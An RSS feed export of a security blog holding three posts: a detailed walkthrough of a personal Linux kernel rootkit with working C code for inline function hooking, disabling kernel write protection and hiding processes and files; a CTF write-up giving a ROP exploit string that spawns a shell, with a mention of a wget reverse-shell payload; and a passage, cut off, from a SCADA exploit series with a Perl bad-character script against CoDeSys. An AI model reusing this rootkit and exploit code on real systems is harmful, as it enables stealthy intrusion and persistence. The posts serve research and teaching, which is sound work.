<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Michael Coppola&#039;s Blog</title>
	<atom:link href="http://www.poppopret.org/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.poppopret.org</link>
	<description>Talkin&#039; &#039;bout bugs &#039;n stuff</description>
	<lastBuildDate>Sat, 13 Apr 2013 07:29:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=1.3.37</generator>
		<item>
		<title>Suterusu Rootkit: Inline Kernel Function Hooking on x86 and ARM</title>
		<link>http://www.poppopret.org/?p=251</link>
		<comments>http://www.poppopret.org/?p=251#comments</comments>
		<pubDate>Mon, 07 Jan 2013 00:32:14 +0000</pubDate>
		<dc:creator>mncoppola</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Rootkits]]></category>
		<category><![CDATA[ARM]]></category>
		<category><![CDATA[Function Hooking]]></category>
		<category><![CDATA[Kernel]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://www.poppopret.org/?p=251</guid>
		<description><![CDATA[Table of Contents Introduction Function Hooking in Suterusu Function Hooking on x86 Write Protection Function Hooking on ARM Instruction Caching Pros and Cons of Inline Hooking Hiding Processes, Files, and Directories Introduction A number of months ago, I added a &#8230; <a href="http://www.poppopret.org/?p=251">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>Table of Contents</strong></p>
<ul>
<li><a href="#intro">Introduction</a></li>
<li><a href="#suterusu">Function Hooking in Suterusu</a></li>
<ul>
<li><a href="#x86">Function Hooking on x86</a></li>
<ul>
<li><a href="#x86wp">Write Protection</a></li>
</ul>
<li><a href="#arm">Function Hooking on ARM</a></li>
<ul>
<li><a href="#armcache">Instruction Caching</a></li>
</ul>
<li><a href="#proscons">Pros and Cons of Inline Hooking</a></li>
</ul>
<li><a href="#hide">Hiding Processes, Files, and Directories</a></li>
</ul>
<p><strong id="intro">Introduction</strong></p>
<p>A number of months ago, I added a new project to the redmine tracker showcasing some code I worked on over the summer (<a href="http://redmine.poppopret.org/projects/suterusu">http://redmine.poppopret.org/projects/suterusu</a>).</p>
<p>Through my various router persistence and kernel exploitation adventures, I&#8217;ve taken a recent interest in Linux kernel rootkits and what makes them tick.  I did some searching around mainly in the <a href="http://packetstormsecurity.org/" target="_blank">packetstorm.org</a> archive and whatever blogs turned up, but to my surprise there really wasn&#8217;t much to be found in the realm of modern <em>public</em> Linux rootkits.  The most prominent results centered around adore-ng, which hasn&#8217;t been updated since 2007 (<a href="http://stealth.openwall.net/rootkits/" target="_blank">at least, from the looks of it</a>), and a few miscellaneous names like suckit, kbeast, and Phalanx.  A lot changes in the kernel from year to year, and I was hoping for something a little more recent.</p>
<p>So, like most of my projects, I said &#8220;screw it&#8221; and opened vim.  I&#8217;ll write my own rootkit designed to work on modern systems and architectures, and I&#8217;ll learn how they work through the act of doing it myself.  I&#8217;d like to (formally) introduce you to Suterusu, my personal kernel rootkit project targeting Linux 2.6 and 3.x on x86 and ARM.</p>
<p>There&#8217;s a lot to talk about in the way of techniques, design, and implementation, but I&#8217;ll start out with some of the basics.  Suterusu currently sports a large array of features, with many more in staging, but it may be more appropriate to devote separate blog posts to these.</p>
<p><strong id="suterusu">Function Hooking in Suterusu</strong></p>
<p>Most rootkits traditionally perform system call hooking by swapping out function pointers in the system call table, but this technique is well known and trivially detectable by intelligent rootkit detectors.  Instead of pursuing this route, Suterusu utilizes a different technique and performs hooking by modifying the prologue of the target function to transfer execution to the replacement routine.  This can be observed by examining the following four functions:</p>
<ul>
<li>hijack_start()</li>
<li>hijack_pause()</li>
<li>hijack_resume()</li>
<li>hijack_stop()</li>
</ul>
<p>These functions track hooks through a linked list of sym_hook structs, defined as:</p>
<pre>struct sym_hook {
    void *addr;
    unsigned char o_code[HIJACK_SIZE];
    unsigned char n_code[HIJACK_SIZE];
    struct list_head list;
};

LIST_HEAD(hooked_syms);</pre>
<p>To fully understand the hooking process, let&#8217;s step through some code.</p>
<p><strong id="x86">Function Hooking on x86</strong></p>
<p>Most of the weight is carried by the hijack_start() function, which takes as arguments pointers to the target routine and the &#8220;hook-with&#8221; routine:</p>
<pre>void hijack_start ( void *target, void *new )
{
    struct sym_hook *sa;
    unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];
    unsigned long o_cr0;

    // push $addr; ret
    memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE);
    *(unsigned long *)&amp;n_code[1] = (unsigned long)new;

    memcpy(o_code, target, HIJACK_SIZE);

    o_cr0 = disable_wp();
    memcpy(target, n_code, HIJACK_SIZE);
    restore_wp(o_cr0);

    sa = kmalloc(sizeof(*sa), GFP_KERNEL);
    if ( ! sa )
        return;

    sa-&gt;addr = target;
    memcpy(sa-&gt;o_code, o_code, HIJACK_SIZE);
    memcpy(sa-&gt;n_code, n_code, HIJACK_SIZE);

    list_add(&amp;sa-&gt;list, &amp;hooked_syms);
}</pre>
<p>A small-sized shellcode buffer is initialized with a &#8220;push dword 0; ret&#8221; sequence, of which the pushed value is patched with the pointer of the hook-with function.  HIJACK_SIZE number of bytes (equivalent to the size of the shellcode) are copied from the target function and the prologue is then overwritten with the patched shellcode.  At this point, all function calls to the target function will redirect to our hook-with function.</p>
<p>The final step is to store the target function pointer, original code, and hook code to the linked list of hooks, thus completing the operation.  The remaining hijack functions operate on this linked list.</p>
<p>hijack_pause() uninstalls the desired hook temporarily:</p>
<pre>void hijack_pause ( void *target )
{
    struct sym_hook *sa;

    list_for_each_entry ( sa, &amp;hooked_syms, list )
        if ( target == sa-&gt;addr )
        {
            unsigned long o_cr0 = disable_wp();
            memcpy(target, sa-&gt;o_code, HIJACK_SIZE);
            restore_wp(o_cr0);
        }
}</pre>
<p>hijack_resume() reinstalls the hook:</p>
<pre>void hijack_resume ( void *target )
{
    struct sym_hook *sa;

    list_for_each_entry ( sa, &amp;hooked_syms, list )
        if ( target == sa-&gt;addr )
        {
            unsigned long o_cr0 = disable_wp();
            memcpy(target, sa-&gt;n_code, HIJACK_SIZE);
            restore_wp(o_cr0);
        }
}</pre>
<p>hijack_stop() uninstalls the hook and deletes it from the linked list:</p>
<pre>void hijack_stop ( void *target )
{
    struct sym_hook *sa;

    list_for_each_entry ( sa, &amp;hooked_syms, list )
        if ( target == sa-&gt;addr )
        {
            unsigned long o_cr0 = disable_wp();
            memcpy(target, sa-&gt;o_code, HIJACK_SIZE);
            restore_wp(o_cr0);

            list_del(&amp;sa-&gt;list);
            kfree(sa);
            break;
        }
}</pre>
<p><strong id="x86wp">Write Protection on x86</strong></p>
<p>Since kernel text pages are marked read-only, attempting to overwrite a function prologue in this region of memory will produce a kernel oops.  This protection may be trivially circumvented however by setting the WP bit in the cr0 register to 0, disabling write protection on the CPU. Wikipedia&#8217;s article on <a href="http://en.wikipedia.org/wiki/Control_register" target="_blank">control registers</a> confirms this property:</p>
<table>
<tbody>
<tr>
<th>BIT</th>
<th>NAME</th>
<th>FULL NAME</th>
<th>DESCRIPTION</th>
</tr>
<tr>
<td>16</td>
<td>WP</td>
<td>Write protect</td>
<td>Determines whether the CPU can write to pages marked read-only</td>
</tr>
</tbody>
</table>
<p>The WP bit will need to be set and reset at multiple points in the code, so it makes programmatic sense to abstract the operations.  The following code originates from the <a href="http://pax.grsecurity.net/" target="_blank">PaX project</a>, specifically from the native_pax_open_kernel() and native_pax_close_kernel() routines. Extra caution is taken to prevent a potential race condition caused by unlucky scheduling on SMP systems, as explained in <a href="http://vulnfactory.org/blog/2011/08/12/wp-safe-or-not/" target="_blank">a blog post by Dan Rosenberg</a>:</p>
<pre>inline unsigned long disable_wp ( void )
{
    unsigned long cr0;

    preempt_disable();
    barrier();

    cr0 = read_cr0();
    write_cr0(cr0 &amp; ~X86_CR0_WP);
    return cr0;
}

inline void restore_wp ( unsigned long cr0 )
{
    write_cr0(cr0);

    barrier();
    preempt_enable_no_resched();
}</pre>
<p><strong id="arm">Function Hooking on ARM</strong></p>
<p>A number of significant changes exist in the hijack_* set of hooking routines depending on whether the code is compiled for x86 or ARM.  For instance, the concept of a WP bit does not exist on ARM while special care must be taken to handle data and instruction caching introduced by the architecture.  While the concepts of data and instruction caching do exist on the x86 and x86_64 architectures, such features did not pose an obstacle during development.</p>
<p>Modified to address these new architectural characteristics is a version of hijack_start() specific to ARM:</p>
<pre>void hijack_start ( void *target, void *new )
{
    struct sym_hook *sa;
    unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];

    if ( (unsigned long)target % 4 == 0 )
    {
        // ldr pc, [pc, #0]; .long addr; .long addr
        memcpy(n_code, "\x00\xf0\x9f\xe5\x00\x00\x00\x00\x00\x00\x00\x00", HIJACK_SIZE);
        *(unsigned long *)&amp;n_code[4] = (unsigned long)new;
        *(unsigned long *)&amp;n_code[8] = (unsigned long)new;
    }
    else // Thumb
    {
        // add r0, pc, #4; ldr r0, [r0, #0]; mov pc, r0; mov pc, r0; .long addr
        memcpy(n_code, "\x01\xa0\x00\x68\x87\x46\x87\x46\x00\x00\x00\x00", HIJACK_SIZE);
        *(unsigned long *)&amp;n_code[8] = (unsigned long)new;
        target--;
    }

    memcpy(o_code, target, HIJACK_SIZE);

    memcpy(target, n_code, HIJACK_SIZE);
    cacheflush(target, HIJACK_SIZE);

    sa = kmalloc(sizeof(*sa), GFP_KERNEL);
    if ( ! sa )
        return;

    sa-&gt;addr = target;
    memcpy(sa-&gt;o_code, o_code, HIJACK_SIZE);
    memcpy(sa-&gt;n_code, n_code, HIJACK_SIZE);

    list_add(&amp;sa-&gt;list, &amp;hooked_syms);
}</pre>
<p>As displayed above, shellcodes for ARM and Thumb are included to redirect execution, similar to those on x86/_64.</p>
<p><strong id="armcache">Instruction Caching on ARM</strong></p>
<p>Most Android devices do not enforce read-only kernel page permissions, so at least for now we can forego any potential voodoo magic to write to protected memory regions.  It is still necessary, however, to consider the concept of instruction caching on ARM when performing a function hook.</p>
<p>ARM CPUs utilize a data cache and instruction cache for performance benefits.  However, modifying code in-place may cause the instruction cache to become incoherent with the actual instructions in memory.  According to <a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0201d/ch03s02s03.html" target="_blank">the official ARM technical reference</a>, this issue becomes readily apparent when developing self-modifying code.  The solution is to simply flush the instruction cache whenever a modification to kernel text is made, which is accomplished by a call to the kernel routine flush_icache_range():</p>
<pre>void cacheflush ( void *begin, unsigned long size )
{
    flush_icache_range((unsigned long)begin, (unsigned long)begin + size);
}</pre>
<p><strong id="proscons">Pros and Cons of Inline Hooking</strong></p>
<p>As with most techniques, inline function hooking presents various benefits and detriments when compared to simply hijacking the system call table:</p>
<p><strong><strong>Pro:</strong></strong> <em>Any</em> function may be hijacked, not just system calls.</p>
<p><strong>Pro:</strong> Less commonly implemented in rootkits, so it is less likely to be detected by rootkit detectors.  It is also easy to circumvent simple hook detection engines due to the flexibility of assembly languages.  A variety of detection evasion techniques for x86 may be found in the article <a href="http://jbremer.org/x86-api-hooking-demystified/#ah-advanced" target="_blank">x86 API Hooking Demystified</a>.</p>
<p><strong>Pro:</strong> Inline function hooking may be applied to userland with minimal/no modification.  While working on the Android port of <a href="http://dmtcp.sourceforge.net/" target="_blank">DMTCP</a>, an application checkpointing tool out of <a href="http://www.ccs.neu.edu/home/gene/" target="_blank">Northeastern&#8217;s HPC lab</a>, it was possible to simply copy and paste the entirety of the hijack_* routines, modified only to use userland linked lists.</p>
<p><strong>Con:</strong> The current hooking implementation is <em>not</em> thread-safe.  By temporarily unhooking a function via hijack_pause(), a race window is opened for other threads to execute the unhooked function before hijack_resume() is called.  Potential solutions include crafty use of locking and permanently hijacking the target function and inserting extra logic within the hook-with routine.  However, with the latter option, special care must be taken when executing the original function prologue on architectures characterized by variable-length instructions (x86/_64) and PC/IP-relative addressing (x86_64 and ARM).</p>
<p><strong>Con:</strong> Another harmful possibility in the current implementation is hook recursion.  Moreso an issue of poor implementation than any insurmountable design flaw, there are various easy solutions to the problem of having your hook-with function accidentally call the hooked function itself, leading to infinite recursion.  Great information on the topic and proof of concept code can (once again) be found in the article <a href="http://jbremer.org/x86-api-hooking-demystified/#ah-recursion" target="_blank">x86 API Hooking Demystified</a>.</p>
<p><strong id="hide">Hiding Processes, Files, and Directories</strong></p>
<p>Once a reliable hooking &#8220;framework&#8221; is implemented, it&#8217;s fairly trivial to start intercepting interesting functions and doing interesting things. One of the most basic things a rootkit must do is hide processes and filesystem objects, both of which may be accomplished with the same basic technique.</p>
<p>In the Linux kernel, one or more instances of the file_operations struct are associated with each supported filesystem (usually one instance for files and one for directories, but dig into the kernel source code and you&#8217;ll find that filesystems are a certain kind of special). These structs contain pointers to the routines associated with different file operations, for instance reading, writing, mmap&#8217;ing, modifying permissions, etc. For explicatory purposes, we will examine the instantiation of the file_operations struct on ext3 for directory objects:</p>
<pre>const struct file_operations ext3_dir_operations = {
    .llseek     = generic_file_llseek,
    .read       = generic_read_dir,
    .readdir    = ext3_readdir,
    .unlocked_ioctl = ext3_ioctl,
#ifdef CONFIG_COMPAT
    .compat_ioctl   = ext3_compat_ioctl,
#endif
    .fsync      = ext3_sync_file,
    .release    = ext3_release_dir,
};</pre>
<p>To hide an object on the filesystem, it is possible to simply hook the readdir function and filter out any undesired items from its output.  To maintain a level of system agnosticism, Suterusu dynamically obtains the pointer to a filesystem&#8217;s active readdir routine by navigating the target object&#8217;s file struct:</p>
<pre>void *get_vfs_readdir ( const char *path )
{
    void *ret;
    struct file *filep;

    if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
        return NULL;

    ret = filep-&gt;f_op-&gt;readdir;

    filp_close(filep, 0);

    return ret;
}</pre>
<p>The actual hook process (for hiding items in /proc) looks like:</p>
<pre>#if LINUX_VERSION_CODE &gt; KERNEL_VERSION(2, 6, 30)
proc_readdir = get_vfs_readdir("/proc");
#endif
hijack_start(proc_readdir, &amp;n_proc_readdir);</pre>
<p>The kernel version check is in response to a change implemented in version 2.6.31 that removes the exported proc_readdir() symbol from include/linux/proc_fs.h. In previous versions it was possible to simply retrieve the pointer value externally upon linking, but rootkit developers are now forced to obtain it by alternate, manual means.</p>
<p>To perform the actual hiding of an objects in /proc, Suterusu hooks proc_readdir() with the following routine:</p>
<pre>static int (*o_proc_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type);

int n_proc_readdir ( struct file *file, void *dirent, filldir_t filldir )
{
    int ret;

    o_proc_filldir = filldir;

    hijack_pause(proc_readdir);
    ret = proc_readdir(file, dirent, &amp;n_proc_filldir);
    hijack_resume(proc_readdir);

    return ret;
}</pre>
<p>The real heavy lifting occurs in the filldir function, which serves as a callback executed for each item in the directory.  This is replaced with a malicious n_proc_filldir() function, as follows:</p>
<pre>static int n_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
    struct hidden_proc *hp;
    char *endp;
    long pid;

    pid = simple_strtol(name, &amp;endp, 10);

    list_for_each_entry ( hp, &amp;hidden_procs, list )
        if ( pid == hp-&gt;pid )
            return 0;

    return o_proc_filldir(__buf, name, namelen, offset, ino, d_type);
}</pre>
<p>Since the intention is to hide processes by hijacking the readdir/filldir routines of /proc, Suterusu simply performs a match of the object name against a linked list of all PIDs the user wishes to hide.  If a match is found, the callback returns 0 and the item is hidden from the directory listing.  Otherwise, the original proc_filldir() function is executed and its value returned.</p>
<p>This same concept applies for hiding files and directories, except a direct string match against the object name is performed instead of converting the PID name to a number type first:</p>
<pre>static int n_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
    struct hidden_file *hf;

    list_for_each_entry ( hf, &amp;hidden_files, list )
        if ( ! strcmp(name, hf-&gt;name) )
            return 0;

    return o_root_filldir(__buf, name, namelen, offset, ino, d_type);
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.poppopret.org/?feed=rss2&#038;p=251</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>MIT/LL CTF Writeup (Ticket Server)</title>
		<link>http://www.poppopret.org/?p=255</link>
		<comments>http://www.poppopret.org/?p=255#comments</comments>
		<pubDate>Thu, 08 Nov 2012 18:20:34 +0000</pubDate>
		<dc:creator>mncoppola</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[MITLL]]></category>

		<guid isPermaLink="false">http://www.poppopret.org/?p=255</guid>
		<description><![CDATA[This past weekend, I led team &#8221; &#8221; in the 2012 MIT Lincoln Lab CTF where we captured the flag for being the most offensive team, specifically, performing the most unique compromises of team + service.  No, literally, we won the &#8230; <a href="http://www.poppopret.org/?p=255">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This past weekend, I led team &#8221; &#8221; in the <a href="https://wikis.mit.edu/confluence/display/MITLLCTF" target="_blank">2012 MIT Lincoln Lab CTF</a> where we captured the flag for being the most offensive team, specifically, performing the most unique compromises of team + service.  No, literally, we won the flag:</p>
<div id="attachment_256" class="wp-caption aligncenter" style="width: 996px"><a href="http://www.poppopret.org/wp-content/uploads/2012/11/Most_0wns_NEU_Space.jpeg"><img class=" wp-image-256 " title="Most_0wns_NEU_Space" src="http://www.poppopret.org/wp-content/uploads/2012/11/Most_0wns_NEU_Space.jpeg" alt="" width="986" height="656" /></a><p class="wp-caption-text">Team &quot; &quot;, from left to right: Michael Weissbacher, Amat Cama, Me, Travis Donnell, Ryan Rickert</p></div>
<p>One of the services we were tasked to install was a client-facing WordPress widget called Ticket that dispatched out to a binary backend.  In order to interact with the widget, users were required to first authenticate with the site using OpenID.</p>
<p>The widget kept a local database of users registered with the service in the text file /usr/share/wordpress/data.txt, where entries were stored in the format:</p>
<pre>&lt;display name&gt;:&lt;hashed WordPress password&gt;:&lt;CC number&gt;</pre>
<p>Users&#8217; PII served as flags in the competition, so access to this data was coveted.  However, this part was simple as the database installed itself readable to the web root.  What we really wanted was a shell.</p>
<p>Adding and updating one&#8217;s own user entry in the database was handled by the following Ruby code listening as a Sinatra server on port 9494:</p>
<pre>post '/ticket' do
  text = File.read("/usr/share/wordpress/data.txt")
  if (text.match(/^#{Regexp.escape(params['tuser'])}:#{Regexp.escape(params['tpassword'])}:.+$/)
     text.gsub!( /^#{Regexp.escape(params['tuser'])}:#{Regexp.escape(params['tpassword'])}:.+$/ , (params['tuser'] + ':' + params['tpassword'] + ':' + params['tccn'])))
  else
    text.concat(params['tuser'] + ':' + params['tpassword'] + ':' + params['tccn'] + "\n")
  end
  File.open("/usr/share/wordpress/data.txt", "w") {|file| file.write text}
  redirect url
end</pre>
<p>Existing user:password:ccn tuples would be updated and new accounts would be appended to the end of the file.  Note that each field of data is arbitrarily controlled by the user.</p>
<p>Subsequent visits to the WordPress site would trigger the widget to perform a lookup in the text file for the currently logged in user, which was handled by a binary named &#8216;movie&#8217;. The resulting command was crafted like:</p>
<pre>movie 'displayname:$H$ashedpassword'</pre>
<p>where the display name was sanitized by the following regex:</p>
<pre>preg_replace("/[^a-zA-Z0-9 ]+/", "", $name);</pre>
<p>A match in the database would prompt the binary to return a generated token based on the user&#8217;s information.  However, what happens if we insert an unreasonably long entry in the database and then match it?</p>
<pre>sysadmin@ctf-portal:~/ticket$ ./movie 'a:b'
Segmentation fault</pre>
<p>Yup, memory corruption!  The application fails to check the length of the database entry before copying it onto the stack, resulting in a fairly straightforward stack-based overflow (which allows null bytes!).  Control over the return pointer / RIP was achieved at offset 1048:</p>
<pre>sysadmin@ctf-portal:~/ticket$ gdb --quiet ./movie
Reading symbols from /home/sysadmin/ticket/movie...(no debugging symbols found)...done.
(gdb) run 'a:b'
Starting program: /home/sysadmin/ticket/movie 'a:b'
db5b35a4de8aa0f6

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400e75 in confirmation ()
(gdb) x/i $rip
=&gt; 0x400e75 :	retq
(gdb) x/xg $rsp
0x7fffffffe5c8:	0x4242424242424242</pre>
<p>The game VMs were configured with NX enabled and ASLR disabled, however we still needed to write the exploit without hardcoded stack addresses due to the differing environments of each team.</p>
<p>For a separate command injection exploit in the competition, our payload method was just to inject a wget + chmod + execute command which fetched a reverse shell from one of our boxes.  With ASLR disabled, it was decided the simplest path for this exploit would be just to return to system() and execute the same command string, saving the trouble of writing shellcode and marking a region of memory (writable-)executable.</p>
<p>Since the x86_64 calling convention on Linux passes arguments via registers starting at RDI, we&#8217;d need to ROP a little to store the address of our command string in RDI before calling system() without using hardcoded stack addresses.  So we fire up ROPeMe and slice apart libc:</p>
<pre>sysadmin@ctf-portal:~/ropeme64$ ./ropshell64
Simple ROP interactive shell: [generate, load, search] gadgets
ROPeMe&gt; generate /lib/x86_64-linux-gnu/libc.so.6 4
Generating gadgets for /lib/x86_64-linux-gnu/libc.so.6 with backward depth=4
It may take few minutes depends on the depth and file size...
Processing code block 1/2
Processing code block 2/2
Generated 22371 gadgets
Dumping asm gadgets to file: libc.so.6.ggt ...
OK</pre>
<p>An initial search for gadgets that manipulate RDI produced some nice results:</p>
<pre>ROPeMe&gt; search mov rdi %
Searching for ROP gadget:  mov rdi % with constraints: []
0x163e02L: mov rdi [rdi+0x10] ; test rdi rdi ; jnz 0x163dfd ; pop rbx ;;
0x460d9L: mov rdi [rdi+0x68] ; xor eax eax ;;
0x6f2dcL: mov rdi [rdi+0xe0] ; jmp rax ; nop dword [rax] ; mov rax 0xffffffffffffffff ;;
0x6f38cL: mov rdi [rdi+0xe0] ; jmp rax ; nop dword [rax] ; xor eax eax ;;
0x487f0L: mov rdi rdx ; mov [rsi] al ; jnz 0x487d0 ; mov rax rsi ;;
<span style="color: #ff0000;">0x11a194L: mov rdi rsp ; call rax ; add rsp 0x38 ;;</span>
<span style="color: #ff0000;">0x127d10L: mov rdi rsp ; call rdx ; add rsp 0x38 ;;</span></pre>
<p>libc is nice enough to store the current RSP address to RDI and immediately CALL the value of either RAX or RDX.  If we store our command string directly at the end of the ROP chain, RDI should contain the correct address upon time of CALL.  We just need to find a &#8220;POP RAX&#8221; gadget to store the address of system() to and our exploit is complete.</p>
<pre>ROPeMe&gt; search pop rax
Searching for ROP gadget:  pop rax with constraints: []
0x23950L: pop rax ;;
0x476e7L: pop rax ;;
0x476e8L: pop rax ;;</pre>
<p>The first one should do fine.  Add each gadget address to the base address of libc (0x7ffff6336000), obtained by inspecting /proc/pid/maps like so:</p>
<pre>sysadmin@ctf-portal:~/ticket$ gdb --quiet ./movie
Reading symbols from /home/sysadmin/ticket/movie...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x400e7a
(gdb) run
Starting program: /home/sysadmin/ticket/movie 

Breakpoint 1, 0x0000000000400e7a in main ()
(gdb) shell
sysadmin@ctf-portal:~/ticket$ ps aux | grep movie
sysadmin  2662  0.2  1.0  50372 11160 pts/0    S    20:05   0:00 gdb --quiet ./movie
sysadmin  2664  0.0  0.0   4160   352 pts/0    t    20:05   0:00 /home/sysadmin/ticket/movie
sysadmin  2722  0.0  0.0   8104   920 pts/0    S+   20:05   0:00 grep --color=auto movie
sysadmin@ctf-portal:~/ticket$ grep libc /proc/2664/maps
<span style="color: #ff0000;">7ffff7a1b000</span>-7ffff7bd0000 r-xp 00000000 08:01 106                        /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7bd0000-7ffff7dcf000 ---p 001b5000 08:01 106                        /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7dcf000-7ffff7dd3000 r--p 001b4000 08:01 106                        /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7dd3000-7ffff7dd5000 rw-p 001b8000 08:01 106                        /lib/x86_64-linux-gnu/libc-2.15.so</pre>
<p>And our finished PoC looks like:</p>
<pre>sysadmin@ctf-portal:~/ticket$ sudo su -
root@ctf-portal:~# perl -e'print "a:b:" . "A"x1044 . "\x50\xe9\xa3\xf7\xff\x7f\x00\x00" . "\x60\x06\xa6\xf7\xff\x7f\x00\x00" . "\x94\x51\xb3\xf7\xff\x7f\x00\x00" . "/bin/sh"' &gt; /usr/share/wordpress/data.txt
root@ctf-portal:~# logout
sysadmin@ctf-portal:~/ticket$ ./movie 'a:b'
2b7e6fb14408cb4f
$</pre>
<p>Dissecting the exploit string for greater clarity:</p>
<pre>"a:b:" . "A"x1044 .                  # Padding
"\x50\xe9\xa3\xf7\xff\x7f\x00\x00" . # POP RAX
"\x60\x06\xa6\xf7\xff\x7f\x00\x00" . # &amp;system
"\x94\x51\xb3\xf7\xff\x7f\x00\x00" . # MOV RDI, RSP; CALL RAX
"/bin/sh"                            # String literal "/bin/sh"</pre>
<p>The actual exploit string required delivery over HTTP POST and a second request to the home page to trigger the exploit.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.poppopret.org/?feed=rss2&#038;p=255</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Anatomy of a SCADA Exploit: Part 2 &#8211; From EIP to Shell</title>
		<link>http://www.poppopret.org/?p=141</link>
		<comments>http://www.poppopret.org/?p=141#comments</comments>
		<pubDate>Tue, 21 Aug 2012 00:29:24 +0000</pubDate>
		<dc:creator>mncoppola</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[SCADA]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.poppopret.org/?p=141</guid>
		<description><![CDATA[Last post, we identified a stack-based overflow in 3S CoDeSys CmpWebServer and traced the steps necessary to obtain control over EIP.  In order to do so, we needed to first circumvent stack cookies, which was achieved by abusing a call &#8230; <a href="http://www.poppopret.org/?p=141">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Last post, we identified a <a href="http://aluigi.altervista.org/adv/codesys_1-adv.txt" target="_blank">stack-based overflow in 3S CoDeSys CmpWebServer</a> and traced the steps necessary to obtain control over EIP.  In order to do so, we needed to first circumvent stack cookies, which was achieved by abusing a call to memcpy() and overwriting the function call&#8217;s own return pointer.  This post, we&#8217;ll pick up where we left off and learn how to spawn a shell on the remote host.</p>
<p>We&#8217;ll be working with the same setup as last time, targeting <a href="ftp://ftppub2:eYDqlL5v@ftp.3s-software.com/SetupV30/CoDeSys%203.4SP4Patch2%20Release.zip" target="_blank">CoDeSys v3.4 SP4 Patch 2 </a>running on Windows XP SP3.  An important detail to note here is that while Windows XP SP3 implements DEP, it is by default only enabled on system-critical processes:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/110.png"><img class="aligncenter size-full wp-image-142" title="1" src="http://www.poppopret.org/wp-content/uploads/2012/01/110.png" alt="" width="367" height="535" /></a>This means that the stack in our target application is free game and allows fully for a &#8220;traditional&#8221; overflow.  Now, I don&#8217;t know about you, but I happen to find that <em>incredibly</em> lame.  So, we&#8217;ll split the exploitation portion of this post into two sections.  In the first section, we&#8217;ll take full advantage of the resources provided to us and spawn a shell using the traditional return-into-shellcode method.  Since this series isn&#8217;t meant to be a simple walkthrough but instead a learning experience, in the second section we&#8217;ll spawn a shell again but instead enable DEP for the running application.  This disallows us from simply overwriting the return pointer with a pointer to the stack, so we&#8217;ll have to first disable DEP using Return-Oriented Programming (ROP) and then return into arbitrary code.</p>
<p><strong>When Good Bytes Go Bad</strong></p>
<p><strong></strong>Before we proceed to writing the exploit itself, we must first identify any bad characters that might cause issue later on &#8211; This means any bytes that may either get filtered out, translate to different bytes, or break the exploit altogether.  This is not typically a time-consuming task, but if many characters are filtered or manipulated by the program it can be tedious to identify exactly what is and isn&#8217;t allowed as input.</p>
<p>A quick and dirty way of approaching this is the &#8220;range method,&#8221; as <a href="http://dev.metasploit.com/redmine/projects/framework/wiki/ExploitModuleDev#The-Range-Method" target="_blank">suggested by the Metasploit development community</a>.  Instead of linearly enumerating a range of 256 bytes and manually (or semi-automatically) testing each byte individually, we instead provide a broader range of bytes in each attempt and systematically narrow it down to specific offenders, somewhat akin to a binary search.</p>
<p>We can whip up a quick script (using the structure of the PoC from last post) to test:</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if ( @ARGV &lt; 1 ) {
    print "Usage: $0 &lt;target&gt;";
}

$sock = new IO::Socket::INET(
    PeerAddr =&gt; $ARGV[0],
    PeerPort =&gt; 8080,
);

$badchars = "";
$badchars .= "GET /";
$badchars .= pack("C*", 0x00 .. 0x0f);
#$badchars .= pack("C*", 0x10 .. 0x1f);
#$badchars .= pack("C*", 0x20 .. 0x2f);
#$badchars .= pack("C*", 0x30 .. 0x3f);
#$badchars .= pack("C*", 0x40 .. 0x4f);
#$badchars .= pack("C*", 0x50 .. 0x5f);
#$badchars .= pack("C*", 0x60 .. 0x6f);
#$badchars .= pack("C*", 0x70 .. 0x7f);
#$badchars .= pack("C*", 0x80 .. 0x8f);
#$badchars .= pack("C*", 0x90 .. 0x9f);
#$badchars .= pack("C*", 0xa0 .. 0xaf);
#$badchars .= pack("C*", 0xb0 .. 0xbf);
#$badchars .= pack("C*", 0xc0 .. 0xcf);
#$badchars .= pack("C*", 0xd0 .. 0xdf);
#$badchars .= pack("C*", 0xe0 .. 0xef);
#$badchars .= pack("C*", 0xf0 .. 0xff);
$badchars .= "\\a HTTP/1.0\r\n\r\n";

print $sock $badchars;</pre>
